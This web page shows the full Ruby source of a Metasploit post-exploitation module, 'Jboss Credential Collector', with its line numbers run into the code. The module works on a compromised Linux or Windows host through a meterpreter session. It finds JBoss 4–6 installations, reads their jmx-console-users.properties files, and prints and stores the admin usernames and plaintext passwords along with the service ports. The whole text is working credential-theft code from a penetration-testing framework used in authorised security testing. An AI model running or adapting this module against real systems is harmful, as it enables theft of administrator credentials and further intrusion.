Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/jboss_gather.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'nokogiri'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Linux::System1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Jboss Credential Collector',16'Description' => %q{17This module can be used to extract the Jboss admin passwords for version 4,5 and 6.18},19'License' => MSF_LICENSE,20'Author' => [ 'Koen Riepe ([email protected])' ],21'Platform' => [ 'linux', 'win' ],22'SessionTypes' => [ 'meterpreter' ]23)24)25end2627def report_creds(user, pass, port)28return if (user.empty? || pass.empty?)2930# Assemble data about the credential objects we will be creating31credential_data = {32origin_type: :session,33post_reference_name: fullname,34private_data: pass,35private_type: :password,36session_id: session_db_id,37username: user,38workspace_id: myworkspace_id39}4041credential_core = create_credential(credential_data)4243if !port.is_a? Integer44print_error('Failed to detect port, defaulting to 8080 for creds database')45port = 808046end4748login_data = {49core: credential_core,50status: Metasploit::Model::Login::Status::UNTRIED,51address: ::Rex::Socket.getaddress(session.sock.peerhost, true),52port: port,53service_name: 'jboss',54protocol: 'tcp',55workspace_id: myworkspace_id56}57create_credential_login(login_data)58end5960def getpw(file, ports)61i = 062file.each do |pwfile|63begin64print_status("Getting passwords from: #{pwfile}")65lines = read_file(pwfile).split("\n")66rescue StandardError67print_error("Cannot open #{pwfile}, you probably do not have permissions to open the file.")68next69end70for line in lines71next if line.include? '#'7273creds = line.split('=')74print_good("Credentials found - Username: #{creds[0]} Password: #{creds[1]}")75report_creds(creds[0], creds[1], ports[i])76end77i += 178end79end8081def getversion(array)82i = 083version = 'NONE'84results = []85while i < array.count86downcase = array[i].downcase87if downcase.include? 'jboss'88begin89file = read_file(array[i])90rescue StandardError91print_error("Cannot open #{array[i]}, you probably do not have permissions to open the file.")92next93end94xml_doc = Nokogiri::XML(file)95xml_doc.xpath('//jar-versions//jar').each do |node|96if node['name'] == 'jbossweb.jar'97version = node['specVersion'][0]98results.push(version)99end100end101end102if version != 'NONE'103print_status("Found a Jboss installation version: #{version}")104home = readhome(cmd_exec('printenv').split("\n"))105pwfiles = getpwfiles(cmd_exec('locate jmx-console-users.properties').split("\n"), home, version)106listenports = getports(version)107getpw(pwfiles, listenports)108end109i += 1110end111end112113def wingetversion(array, home)114i = 0115version = 'NONE'116results = []117while i < array.count118downcase = array[i].downcase119if downcase.include? 'jboss'120file = read_file(array[i])121xml_doc = Nokogiri::XML(file)122xml_doc.xpath('//jar-versions//jar').each do |node|123if node['name'] == 'jbossweb.jar'124version = node['specVersion'][0]125results.push(version)126end127end128end129if version != 'NONE'130print_status("Found a Jboss installation version: #{version}")131instances = wingetinstances(home, version)132pwfiles = winpwfiles(instances)133listenports = wingetport(instances)134getpw(pwfiles, listenports)135end136i += 1137end138end139140def readhome(array)141home = ''142array.each do |item|143if item.include? 'JBOSS_HOME'144home = item.split('JBOSS_HOME=')[1]145end146end147return home148end149150def getpwfiles(array, home, version)151pwfiles = []152array.each do |location|153if location.include?(home && version)154pwfiles.push(location)155end156end157return pwfiles158end159160def getports(version)161type1 = cmd_exec('locate bindings-jboss-beans.xml').split("\n")162type2 = cmd_exec('locate jboss-web.deployer/server.xml').split("\n")163port = []164type1.each do |file1|165next unless file1 && file1.include?(version)166167print_status("Attempting to extract Jboss service ports from: #{file1}")168begin169file1_read = read_file(file1).split("\n")170rescue StandardError171print_error("Cannot open #{file1}, you probably do not have permissions to open the file.")172next173end174parse = false175portfound = false176file1_read.each do |line|177if line.strip.include? 'deploy/httpha-invoker.sar'178parse = true179elsif ((line.strip == '</bean>') && portfound)180parse = false181elsif parse && line.include?('<property name="port">')182portnr = line.split('<property name="port">')[1].split('<')[0].to_i183port.push(portnr)184portfound = true185print_good("Jboss port found: #{portnr}")186end187end188end189190type2.each do |file2|191next unless file2 && file2.include?(version)192193print_status("Attempting to extract Jboss service ports from: #{file2}")194begin195xml2 = Nokogiri::XML(read_file(file2))196rescue StandardError197print_error("Cannot open #{file2}, you probably do not have permissions to open the file.")198next199end200xml2.xpath('//Server//Connector').each do |connector|201next unless connector['protocol'].include? 'HTTP'202203portnr = connector['port'].to_i204port.push(portnr)205print_good("Jboss port found: #{portnr}")206break207end208end209return port210end211212def gathernix213print_status('Unix OS detected, attempting to locate Jboss services')214version = getversion(cmd_exec('locate jar-versions.xml').split("\n"))215end216217def winhome218home = []219exec = cmd_exec('WMIC PROCESS get Caption,Commandline').split("\n")220exec.each do |line|221next unless line.downcase.include?('java.exe') && line.downcase.include?('jboss')222223print_status('Jboss service found')224parse = line.split('-classpath "')[1].split('\\bin\\')[0]225if parse[0] == ';'226home.push(parse.split(';')[1])227else228home.push(parse)229end230end231return home232end233234def wingetinstances(home, version)235instances = []236instance_location = "#{home}\\server"237exec = cmd_exec("cmd /c dir #{instance_location}").split("\n")238exec.each do |instance|239next unless instance.split('<DIR>')[1] && ((!instance.split('<DIR>')[1].strip.include? '.') && (!instance.split('<DIR>')[1].strip.include? '..'))240241instance_path = "#{home}\\server\\#{instance.split('<DIR>')[1].strip}"242if instance_path.include? version243instances.push(instance_path)244end245end246return instances247end248249def winpwfiles(instances)250files = []251instances.each do |seed|252file_path = "#{seed}\\conf\\props\\jmx-console-users.properties"253if exist?(file_path)254files.push(file_path)255end256end257return files258end259260def wingetport(instances)261port = []262instances.each do |seed|263path1 = "#{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml"264path2 = "#{seed}\\deploy\\jboss-web.deployer\\server.xml"265266if exist?(path1)267file1 = read_file("#{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml").split("\n")268end269270if exist?(path2)271file2 = read_file("#{seed}\\deploy\\jboss-web.deployer\\server.xml")272end273274if file1275print_status("Attempting to extract Jboss service ports from: #{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml")276parse = false277portfound = false278file1.each do |line|279if line.strip.include? 'deploy/httpha-invoker.sar'280parse = true281elsif ((line.strip == '</bean>') && portfound)282parse = false283elsif parse && line.include?('<property name="port">')284portnr = line.split('<property name="port">')[1].split('<')[0].to_i285port.push(portnr)286portfound = true287print_good("Jboss port found: #{portnr}")288end289end290end291292next unless file2293294print_status("Attempting to extract Jboss service ports from: #{seed}\\deploy\\jboss-web.deployer\\server.xml")295xml2 = Nokogiri::XML(file2)296xml2.xpath('//Server//Connector').each do |connector|297next unless connector['protocol'].include? 'HTTP'298299portnr = connector['port'].to_i300port.push(portnr)301print_good("Jboss port found: #{portnr}")302break303end304end305return port306end307308def gatherwin309print_status('Windows OS detected, enumerating services')310homeArray = winhome311if !homeArray.empty?312homeArray.each do |home|313version_file = []314version_file.push("#{home}\\jar-versions.xml")315version = wingetversion(version_file, home)316end317else318print_status('No Jboss service has been found')319end320end321322def run323if sysinfo['OS'].include? 'Windows'324gatherwin325else326gathernix327end328rescue StandardError329print_error('sysinfo function not available, you are probably using a wrong meterpreter.')330end331end332333334